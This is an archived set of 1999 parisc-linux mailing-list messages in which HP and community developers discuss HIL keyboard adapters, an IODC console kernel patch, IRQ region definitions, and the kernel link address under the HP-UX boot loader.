X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L console output
Date: Wed, 27 Oct 1999 13:29:53 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <199910272029.NAA05306@milano.cup.hp.com>
References: <199910271929.NAA27977@scoot.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618587 27291 80.91.229.3 (22 Nov 2014 01:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: R Scott Holbrook (HP-DESK: hp4000/UX) <rsh@scoot.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Oct 27 14:28:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA20732
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Oct 1999 14:28:47 -0600
Original-Received: (qmail 32042 invoked by uid 15267); 27 Oct 1999 20:29:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32035 invoked from network); 27 Oct 1999 20:29:50 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 20:29:50 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id BA5B4A0B
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Oct 1999 13:29:44 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA05306; Wed, 27 Oct 1999 13:29:53 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 27 Oct 1999 13:29:33 PDT."
             <199910271929.NAA27977@scoot.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6264


Scott,
thanks for the additional notes.

R Scott Holbrook wrote:
...
> If the system has EISA, it has WAX and therefore has HIL support.
> However, there is no HIL connector on these systems.  There is a
> set of jumpers on the system board that connect the HIL signals to
> 2 unused pins on one of the PS/2 connectors and a special external
> box that plugs into the PS/2 port and has a place to plug in the
> HIL connector.

Just curious. Is this the same "Keyboard Adapter Module" used on 715's?
(no part number - has HIL, PS/2 Mouse, and PS/2 Keyboard "outputs")

thanks,
grant

> This is used by an OEM that uses the B132/B160/B180
> platform but requires HIL (for some special keyboards).
> 
> Scott Holbrook / rsh@fc.hp.com
> Unix Development Lab


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R Scott Holbrook (HP-DESK: hp4000/UX) <rsh@scoot.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L console output
Date: Wed, 27 Oct 1999 14:54:47 -0600
Organization: Hewlett-Packard Unix Development Lab
Lines: 19
Approved: news@gmane.org
Message-ID: <199910272054.OAA28357@scoot.fc.hp.com>
References: <199910272029.NAA05306@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618588 27296 80.91.229.3 (22 Nov 2014 01:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rsh@scoot.fc.hp.com  Wed Oct 27 14:53:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA20906
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Oct 1999 14:53:44 -0600
Original-Received: (qmail 9162 invoked by uid 15267); 27 Oct 1999 20:54:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9152 invoked from network); 27 Oct 1999 20:54:49 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 20:54:49 -0000
Original-Received: from scoot.fc.hp.com (root@scoot.fc.hp.com [15.1.52.6])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id OAA07933;
	Wed, 27 Oct 1999 14:54:48 -0600 (MDT)
Original-Received: from localhost (rsh@localhost [127.0.0.1]) by scoot.fc.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id OAA28357; Wed, 27 Oct 1999 14:54:47 -0600 (MDT)
X-Authentication-Warning: scoot.fc.hp.com: rsh@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of Wed, 27 Oct 1999 13:29:53 -0700.
    (Scott, thanks for the additional notes. R Scott Holbrook wrote:...)
             <199910272029.NAA05306@milano.cup.hp.com> 
X-Address: Mail Stop 99
    3404 East Harmony Road
    Fort Collins, CO  80528-9599
X-Phone: (970) 898-6248
X-Mailer: MH 6.8
Xref: news.gmane.org gmane.linux.ports.parisc:6265

Grant,
> thanks for the additional notes.

>> If the system has EISA, it has WAX and therefore has HIL support.
>> However, there is no HIL connector on these systems.  There is a
>> set of jumpers on the system board that connect the HIL signals to
>> 2 unused pins on one of the PS/2 connectors and a special external
>> box that plugs into the PS/2 port and has a place to plug in the
>> HIL connector.

> Just curious. Is this the same "Keyboard Adapter Module" used on
> 715's? (no part number - has HIL, PS/2 Mouse, and PS/2 Keyboard
> "outputs")

I think so.  If you can get the hversion and sversion of the adapter
module on the 715, I can tell you for sure.

Scott


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] iodc console patch
Date: Wed, 27 Oct 1999 23:46:59 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <19991027234659.A2788@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618588 27299 80.91.229.3 (22 Nov 2014 01:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Wed Oct 27 15:46:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA21244
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Oct 1999 15:46:53 -0600
Original-Received: (qmail 31757 invoked by uid 15267); 27 Oct 1999 21:47:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31749 invoked from network); 27 Oct 1999 21:47:59 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 21:47:59 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m11gavC-0027d2C@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Wed, 27 Oct 1999 22:47:54 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m11gav4-002OnuC; Wed, 27 Oct 99 23:47 MET DST
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id XAA02791
	for parisc-linux@thepuffingroup.com; Wed, 27 Oct 1999 23:46:59 +0200
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6266

To get a sash prompt on my 715/33 I need the patch below. Even if this
patch isn't release quality something like that is needed to get the
iodc console going.

Because I still have some problems with the first few printed lines, I
haven't checked it into cvs. Hope it helps others as well. Ohh and changing
"console=ttyS0" to "console=tty" in boot_code/ipl_c.c is required, too.

Thomas.

Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.24
diff -u -r1.24 pdc_cons.c
--- arch/parisc/kernel/pdc_cons.c	1999/10/27 18:38:21	1.24
+++ arch/parisc/kernel/pdc_cons.c	1999/10/27 21:44:25
@@ -146,6 +146,8 @@
 	memcpy(&PAGE0->mem_kbd, &PAGE0->mem_cons, sizeof(PAGE0->mem_cons));
 
     /* register the pdc console */
+#ifndef CONFIG_IODC_CONSOLE
     register_console(&pdc_cons);
+#endif
 #endif
 }
Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/setup.c,v
retrieving revision 1.70
diff -u -r1.70 setup.c
--- arch/parisc/kernel/setup.c	1999/10/25 16:39:29	1.70
+++ arch/parisc/kernel/setup.c	1999/10/27 21:44:25
@@ -655,6 +655,12 @@
 extern asmlinkage void __init start_kernel(void);
 extern char _bss_start;	/* the very first BSS-byte, defined in head.S */
 
+#ifdef CONFIG_VT
+#ifdef CONFIG_IODC_CONSOLE
+extern void iodc_con_init(void);
+#endif
+#endif
+
 __initfunc(void start_parisc(unsigned long new_memory_start, 
 			     char *bootloader_command_line))
 {
@@ -672,6 +678,12 @@
 		}
 	}
 	pdc_console_init();
+#ifdef CONFIG_VT
+#ifdef CONFIG_IODC_CONSOLE
+	conswitchp = &prom_con;
+	iodc_con_init();
+#endif
+#endif
 
 	printk("The Kernel has started...\n");
 
@@ -726,21 +738,10 @@
 	start_kernel(); 	/* now we start our kernel ! */
 }
 
-#ifdef CONFIG_VT
-#ifdef CONFIG_IODC_CONSOLE
-extern void iodc_con_init(void);
-#endif
-#endif
 
 __initfunc(void setup_arch(char **cmdline_p,
 	unsigned long * memory_start_p, unsigned long * memory_end_p))
 {
-#ifdef CONFIG_VT
-#ifdef CONFIG_IODC_CONSOLE
-	iodc_con_init();
-#endif
-#endif

From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] irq.h definitions and request_irq()
Date: Wed, 27 Oct 1999 23:19:10 -0700 (PDT)
Lines: 74
Approved: news@gmane.org
Message-ID: <199910280619.XAA05894@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618588 27302 80.91.229.3 (22 Nov 2014 01:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct 28 00:17:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA22799
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 00:17:40 -0600
Original-Received: (qmail 28918 invoked by uid 15267); 28 Oct 1999 06:18:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28909 invoked from network); 28 Oct 1999 06:18:46 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 06:18:46 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.9.3 (PHNE_18979)/8.8.5tis) with ESMTP id CAA22777
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 02:17:57 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id XAA05894; Wed, 27 Oct 1999 23:19:10 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:6267

Hi all,
Just some nits which seemed to be not so good about our current
implementation of IRQ regions.  I'm really enthusiastic about the
current implementation in general but these are some minor problems.

In the next couple of weeks, I'll take the time to write up how
I think IRQ regions work for parisc-linux.  I think most kernel
folks can understand how IRQs work and how PA Risc is different
from x86.

Some definitions from asm-parisc/irq.h:
o NR_IRQS is defined as 1024	(total number of virtual IRQs)
o NR_IRQ_REGS is 32		(total number of IRQ regions)
o IRQ Regions are defined to have max 256 IRQ's per region.

Problem #1: NR_IRQS is used to build arrays by drivers/char/random.c
  and drivers/char/serial.c.  For parisc, those arrays will be mostly empty.
  Not a good use of memory. The problem is a combination of what I
  see as a poorly written driver (for parisc at least) and our
  implementation of IRQ regions.

Problem #2: (256 * 32) is much greater than 1024.
  If serial.c or random.c uses any virtual IRQ in region 4 or higher,
  they will index into hyperspace.  (Or as I've read recently somewhere:
  "we only rely on a well-defined subset of undefined behaviour".)

  This is a bug . We will see it on any box with more than 1 processor
  and 3 Host PCI bus adapters (chips like Dino).  My A180 has a processor,
  Lasi, and 2 Dino's. That's four regions (0-3). If I had another
  card-mode Dino instead of my add-on PCI 100BT card installed, I'd
  be toast.

Proposal for #1/#2:
  Until serial.c and random.c *are* changed, can we use the following
  definitions in asm-parisc/irq.h?

	#define IRQ_REG_SHIFT	5		/* use 6 for __LP64__ */
	#define IRQ_REG_MASK		((1<<IRQ_REG_SHIFT)-1)
	#define IRQ_FROM_REGION(reg)	((reg)<<IRQ_REG_SHIFT)
	#define IRQ_REGION(irq)		((irq)>>IRQ_REG_SHIFT)
	#define IRQ_OFFSET(irq)		((irq) & IRQ_REG_MASK)

	#define NR_IRQ_REGS	16
	#define NR_IRQS		IRQ_FROM_REGION(NR_IRQ_REGS)

[soapbox on]
I'm not happy about seeing the mechanism to encode/decode virtual
IRQ's in asm-parisc/irq.h. It's visible to and embedded in drivers.
My preference is to hide this in arch/parisc/kernel/irq.c and only
define the two constants drivers know about - NR_IRQ_REGS and NR_IRQS in
the asm/irq.h.
[soapbox off]


Problem #3:
  request_irq() doesn't automatically unmask/enable the IRQ.
  After looking at several other architectures (sparc, x386),
  it seems like request_irq() should call enable_irq().

  That's part of the reason why lasi_barked() isn't getting
  called for the serial driver. The IMR registers needs to
  have serial device's bit cleared in order to enable
  the interrupt line in lasi. "enable_irq()" should result
  in a call to lasi_enable_irq() and that will clear the bit.

  Currently, in CVS, lasi_enable_irq() doesn't exist. And that's
  another problem.  I've written one but want to try it out before
  committing code.  (My quality of code lately has stunk because I
  wasn't able to test the code. I usually can fix my own bugs pretty
  quickly since I know the type of things I typically do wrong.)

thanks,
grant


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 00:02:07 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <99102800052200.00292@P100>
References: <199910271811.MAA17359@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618588 27306 80.91.229.3 (22 Nov 2014 01:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: parisc-linux@thepuffingroup.com, Paul Bame <bame@debian.fc.hp.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Oct 28 00:35:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA22983
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 00:35:33 -0600
Original-Received: (qmail 31839 invoked by uid 15267); 28 Oct 1999 06:36:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31819 invoked from network); 28 Oct 1999 06:36:38 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 06:36:38 -0000
Original-Received: (qmail 10475 invoked from network); 27 Oct 1999 22:05:23 -0000
Original-Received: from dialppp-7-100.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.7.100)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 27 Oct 1999 22:05:23 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:6268

Am Wed, 27 Oct 1999 schrieb Paul Bame:
> = 
> = Has anyone confirmed that the kernel which is started is getting good
> = data (stack, etc...) or are my kernels booting purely by accident?
> = 
> 
> Phillip looked over some boot messages after being booted with the
> hpux boot loader and blessed them, so things appear to be working well.
> 
> How about a COMMAND LINE?
> 
> If anyone wants to investigate a bit and work on head.S, it looks like
> when launched from the current hpux boot loader that the args
> passed to the kernel are
> 
> 	int argc, char *argv[], char *envp[],
> 
> with some slightly bizzare stuff in the "environment", of possible
> interest:
> 
> 	env[2] - load address *of the boot loader itself*
> 	env[3] - size *of the boot loader itself*
> 
> argc will always be a low number >= 1.  If you had told ISL:
> 
> 	ISL> hpux /boot/vmlinux a b c
> 
> then argc would supposedly be 4 and argv[2], for example, would be "b".
> I suspect the argv[] should be copied to somewhere safe.
> 
> Note that this is very different from the statment in head.S:
> 



>          *      %arg3(=%r23) holds HALF(!) of the size of the BSS-Segment

!!!! Please, dont expect the above line to be valid at all !!!!!!!!!
It was just one of my bad investigations and seemed to be true in my
stupid tests. As already said in other mails: Its hard without any
documentation !
(If someone want, please delete it from the source !!)

Helge.


> 
> 			    -Paul Bame
> 


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 11:22:21 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <199910281522.LAA06762@hiauly1.hia.nrc.ca>
References: <99102800052200.00292@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618589 27310 80.91.229.3 (22 Nov 2014 01:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, bame@debian.fc.hp.com
To: Helge.Deller@ruhr-uni-bochum.de (Helge Deller)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Oct 28 09:21:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA24493
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 09:21:43 -0600
Original-Received: (qmail 26574 invoked by uid 15267); 28 Oct 1999 15:22:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26567 invoked from network); 28 Oct 1999 15:22:31 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 15:22:31 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA06762;
	Thu, 28 Oct 1999 11:22:22 -0400 (EDT)
In-Reply-To: <99102800052200.00292@P100> from "Helge Deller" at Oct 28, 99 00:02:07 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6269

> 
> Am Wed, 27 Oct 1999 schrieb Paul Bame:
> > = 
> > = Has anyone confirmed that the kernel which is started is getting good
> > = data (stack, etc...) or are my kernels booting purely by accident?
> > = 
> > 
> > Phillip looked over some boot messages after being booted with the
> > hpux boot loader and blessed them, so things appear to be working well.

I find it very strange that the kernel is being linked to start at
0xc0010000.  It's not your average machine that has this much physical
memory.  I have recently been in the bowels of hpux and it certainly isn't
linked in this strange way.  It is linked and loaded into low physical
memory.  Interrupts are first handled without address translation and
then most switch to virtual.  If this kind of relocation is needed,
can't it be done in virtual mode with a space register mapping?  The
other major issue is how to impliment shared memory.  Under hpux, it
is always in the 3rd quadrant.  This breaks mmap usage in many apps.

Paul's hack prevents one from using kernel symbols when debugging with
a symbolic debugger.  I think this is a rather useful feature to have.

Comments?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 09:40:53 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <199910281540.JAA20188@debian.fc.hp.com>
References: <199910281522.LAA06762@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618589 27313 80.91.229.3 (22 Nov 2014 01:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Oct 28 09:39:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA24986
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 09:39:49 -0600
Original-Received: (qmail 2013 invoked by uid 15267); 28 Oct 1999 15:40:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2006 invoked from network); 28 Oct 1999 15:40:56 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 15:40:56 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA23987
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 09:40:54 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA19301 for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 09:40:53 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA20188
	for <parisc-linux@thepuffingroup.com>; Thu, 28 Oct 1999 09:40:53 -0600
In-reply-to: Your message of "Thu, 28 Oct 1999 11:22:21 EDT."
             <199910281522.LAA06762@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6270

= > 
= > Am Wed, 27 Oct 1999 schrieb Paul Bame:
= > > = 
= > > = Has anyone confirmed that the kernel which is started is getting good
= > > = data (stack, etc...) or are my kernels booting purely by accident?
= > > = 
= > > 
= > > Phillip looked over some boot messages after being booted with the
= > > hpux boot loader and blessed them, so things appear to be working well.
= 
= I find it very strange that the kernel is being linked to start at
= 0xc0010000.  It's not your average machine that has this much physical
= memory.

Linux on i386 is also relocated to around 3Gb.  In both cases,
Linux is physically loaded near 0Gb, and then physical memory is
virtually mapped to show up starting at 3Gb.  Until the VM is
enabled you're right, using those 3Gb addresses won't work in a
debugger.

= Comments?

Sure, that's the way it's done in Linux 2.2.x right now and it
is the kernel machine-independent code assumes that scheme or a
simliar one is in effect so we can't really change it.  I don't
know what 2.3 has done.

	-P


From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 17:18:59 +0100 (BST)
Lines: 6
Approved: news@gmane.org
Message-ID: <E11gsGT-0005Zn-00@the-village.bc.nu>
References: <199910281522.LAA06762@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618589 27315 80.91.229.3 (22 Nov 2014 01:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:49 +0000 (UTC)
Cc: Helge.Deller@ruhr-uni-bochum.de, parisc-linux@thepuffingroup.com,
        bame@debian.fc.hp.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Oct 28 10:21:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA25375
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 10:21:27 -0600
Original-Received: (qmail 20447 invoked by uid 15267); 28 Oct 1999 16:22:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20440 invoked from network); 28 Oct 1999 16:22:33 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 16:22:33 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11gsGT-0005Zn-00; Thu, 28 Oct 1999 17:19:01 +0100
In-Reply-To: <199910281522.LAA06762@hiauly1.hia.nrc.ca> from "John David Anglin" at Oct 28, 99 11:22:21 am
Xref: news.gmane.org gmane.linux.ports.parisc:6271

> I find it very strange that the kernel is being linked to start at
> 0xc0010000.  It's not your average machine that has this much physical

Logical or physical ?



From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Thu, 28 Oct 1999 13:03:37 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <199910281703.NAA06969@hiauly1.hia.nrc.ca>
References: <E11gsGT-0005Zn-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618590 27317 80.91.229.3 (22 Nov 2014 01:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:50 +0000 (UTC)
Cc: Helge.Deller@ruhr-uni-bochum.de, parisc-linux@thepuffingroup.com,
        bame@debian.fc.hp.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Oct 28 11:02:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA25741
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 11:02:43 -0600
Original-Received: (qmail 5866 invoked by uid 15267); 28 Oct 1999 17:03:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5859 invoked from network); 28 Oct 1999 17:03:49 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 28 Oct 1999 17:03:49 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA06969;
	Thu, 28 Oct 1999 13:03:38 -0400 (EDT)
In-Reply-To: <E11gsGT-0005Zn-00@the-village.bc.nu> from "Alan Cox" at Oct 28, 99 05:18:59 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6272

> 
> > I find it very strange that the kernel is being linked to start at
> > 0xc0010000.  It's not your average machine that has this much physical
> 
> Logical or physical ?

Physical, at least when loading with hpux.  LDFLAGS are "-R 0xc0010000
-N -e stext".  I know at one time the link was being done at 0x10000.
Does anyone know why this was changed?

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


